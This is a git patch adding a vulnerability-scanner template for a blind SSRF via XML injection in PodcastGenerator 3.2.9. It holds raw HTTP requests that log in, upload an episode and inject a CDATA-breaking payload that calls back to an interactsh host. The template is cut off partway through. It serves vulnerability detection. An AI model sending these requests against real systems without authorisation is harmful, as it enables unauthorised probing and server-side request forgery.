From 4c876b245262281b0366e0067208f0b8f2b488ea Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Mon, 30 Oct 2023 17:48:57 +0530
Subject: [PATCH] Create podcast-generator-ssrf.yaml
---
.../other/podcast-generator-ssrf.yaml | 132 ++++++++++++++++++
1 file changed, 132 insertions(+)
create mode 100644 http/vulnerabilities/other/podcast-generator-ssrf.yaml
diff --git a/http/vulnerabilities/other/podcast-generator-ssrf.yaml b/http/vulnerabilities/other/podcast-generator-ssrf.yaml
new file mode 100644
index 0000000000..70e0113a52
--- /dev/null
+++ b/http/vulnerabilities/other/podcast-generator-ssrf.yaml
@@ -0,0 +1,132 @@
+id: podcast-generator-ssrf
+
+info:
+ name: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
+ author: ritikchaddha,MrHarshvardhan
+ severity: high
+ description: |
+ This is a SSRF vulnerability via Xml injection found in PodcastGenerator 3.2.9.
+ reference:
+ - https://www.exploit-db.com/exploits/51565
+ - https://mirabbasagalarov.medium.com/podcastgenerator-3-2-9-blind-ssrf-via-xml-injection-3795804467df
+ - https://github.com/PodcastGenerator/PodcastGenerator
+ metadata:
+ verified: true
+ tags: podcastgenerator,ssrf,authenticated
+
+variables:
+ string: "{{rand_text_alpha(7)}}"
+
+requests:
+ - raw:
+ - |
+ POST /podcast/PodcastGenerator/admin/login.php?login=1 HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ username={{username}}&password={{password}}
+
+ - |
+ GET /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1
+ Host: {{Hostname}}
+
+ - |
+ POST /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1WfeHRSBn1aNkQQA
+
+ ------WebKitFormBoundary1WfeHRSBn1aNkQQA
+ Content-Disposition: form-data; name="file"; filename="{{string}}.jpg"
+ Content-Type: image/jpeg
+
+ {{rand_text_alpha(50)}}
+ {{rand_text_alpha(50)}}
+
+ ------WebKitFormBoundary1WfeHRSBn1aNkQQA
+ Content-Disposition: form-data; name="title"
+
+ {{string}}
+ ------WebKitFormBoundary1WfeHRSBn1aNkQQA
+ Content-Disposition: form-data; name="shortdesc"
+
+ test]]>http://{{interactsh-url}}'
+ internal: true